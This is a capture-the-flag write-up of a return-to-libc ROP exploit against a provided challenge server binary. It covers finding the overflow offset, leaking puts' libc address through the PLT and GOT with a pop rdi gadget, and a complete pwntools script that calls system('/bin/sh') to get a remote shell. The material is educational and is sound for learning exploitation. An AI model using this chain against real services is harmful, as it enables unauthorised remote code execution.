ROP Challenge
Provided with a libc binary and a binary file
Checking the security enabled on the binary during copilation
This shows that there’s no stack canary, the stack is non-executable, and there’s no PIE enabled, so ASLR won’t be an issue when working with this binary.
Continuing with the binary analysis, I ran it to observe its behavior. It repeatedly prompts for an address, suggesting a while loop and an expected input.
Using GDB, I proceeded to disassemble the main function, as the binary is not stripped.
We can see that the binary sets up a TCP socket and waits for incoming connection requests. This, however, interferes with analyzing the challenge directly. To work around it, I wrote a quick GDB script to allow the function frame to initialize, then bypass the entire socket connection setup.
b *main+221
r < ola
set $rip=*main+356
c
Checking Buffer Overflow
supplying a really long input to the binary makes our input overflow the intended buffer assigned for the input into other memory space including rbp and the return address (good thing there is no stack canary). If there is a stack canary we would have had to look a way to leak the canary or bruteforce, since its a fork server.
one of the easiest way to determine where the buffer overflows into the return pointer is to send in a cyclic pattern and check the rsp when it segfaults
Overflowing the return pointer
Remember ret instruction is ? …. it means pop rip , this means the value in rsp at the time of this instruction will end up in rip ; This will serve as the basic of our ROP attack By calculating the pattern than ends up in the rsp when the binary segfaults we can easily calculate the offset we need to get to the return pointer
Where to return to ?
Now that we control the return address , we can move anywhere in the binary by chaining ROP gadgets but first, lets map out a plan …..
The plan is to get this program to give us a shell access
How do we do that ?
with the control we have over the stack , we can patch up a ROP chain that indirectly tells the program what to do by carefully pointing a path from one instruction to the next
If I can carefully trigger a syscall in the program and set the arguments correctly, I can make the program execute a shell.
However, checking for syscalls in the binary came up empty-handed, not that I expected it to be that easy, but it’s always worth a shot, right?
This isn’t the end, though!
Return to libc
That doesn’t stop our exploit, though. We have plenty of return points available, thanks to libc, which is dynamically linked to our binary.
Since we’re provided with the specific libc version used by this binary, it’s crucial to use it for our exploit to avoid any potential discrepancies in offsets
leaking the address of libc
To use gadgets in libc, we need to determine the base address of libc at runtime. Since PIE is enabled for all linked libraries, we’ll have to contend with ASLR.
A reliable way to leak the libc address is by using the program’s puts function (via the PLT) to print the puts address in libc (from the GOT).
You can read more about PLT and GOT here…
### making our program run puts(puts)
-
first, we have to find the puts@got and puts@plt
-
then we set the argument to the puts@plt to puts@got ;
-
setting argument of puts@plt means we have to sets its rdi therefore we have to find the gadget that sets rdi.
pop rdi; ret
suits our purpose perfectly. remember we control the stack, hence we control was will be poped into rdi
So Let’s go over our exploit again
- we control return pointer; and we point it to pop rdi
- we set the stack to the value we want in rdi ; puts@got
- once pop rdi returns it gets return address from rsp which we control; where puts@plt awaits
- the instance puts@plt is called , its argument (rdi), will already contain libc puts address , hence leaking our libc address of puts
- then we restart the binary by setting the next ret’s rsp as the main’s address
once we restart the binary to read in new input for our second payload
Building our exploit to this point
from pwn import *
# context.log_level = 'debug'
offset = b"A" * 72
rop = ELF("./rop_server")
pop_rdi = p64(0x4011f7) # our rdi gadget
puts_got = p64(rop.got['puts']) # puts@got
puts_plt = p64(rop.plt['puts']) # puts@plt
main_func = p64(0x401395)
print(hex(rop.got['puts']))
print(hex(rop.plt['puts']))
payload = offset + pop_rdi + puts_got + puts_plt + main_func
This will send in 72 bytes of ‘A’s to fill the buffer end everything until the return address, then it will replace the return address with the address of pop_rdi, it continues by filling the next 8 bytes with the value we want in rdi, then the next 8 bytes with the address we want to run after pop_rdi returns, and finally the address of the main function so that the binary restarts .
This chain is facinating right, i follow it by explicitly following and replacing leave;ret with its equivalent instructions
# leave; ret
mov rsp, rbp
pop rbp;
pop rdi;
Now that we have the main address of puts in libc, we can calculate the base address of libc by subtracting the static offset of puts within the libc binary
Second stage Attack
calling system("/bin/sh")
With the base address of libc
established, we can now navigate within libc
without worrying about ASLR.
Remember, in an x86_64
function call, the first argument is passed in rdi
. To call our system
function, we need to set rdi
to point to a valid shell string.
In our case, we want to execute a shell. We can achieve this by locating the string "/bin/sh"
within the libc
binary and using its address.
strings -a -t x /lib/x86_64-linux-gnu/libc.so.6 | grep "/bin/sh"
After getting this address we can factor in the libc base address and chain our ROP as follows
- The offset to fill the buffer and anything up until the return address
- the address of pop_rdi to set the argument to our system function
- The value we want rdi to retain
"/bin/sh"
(argument for system) - Then the address of sytem
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
print(hex(libc.symbols['puts']))
proc = remote('0.0.0.0', '3001')
proc.writeafter("What is my address?\n", payload + b"\n")
proc.recv(2); #receive \n after
libc_puts = u64(proc.recv(6).ljust(8, b'\x00'))
print(hex(libc_puts))
print(hex(libc_puts - libc.symbols['puts']))
address = libc_puts - libc.symbols['puts']
libc.address = address
binsh_addr = p64(address + 0x197e34)
system = p64(libc.symbols['system'])
payload2 = offset + pop_rdi + binsh_addr + system
payload2 += p64(libc.symbols['exit'])
print(payload2)
proc.writeafter("What is my address?\n", payload2 + b"\n")
proc.interactive()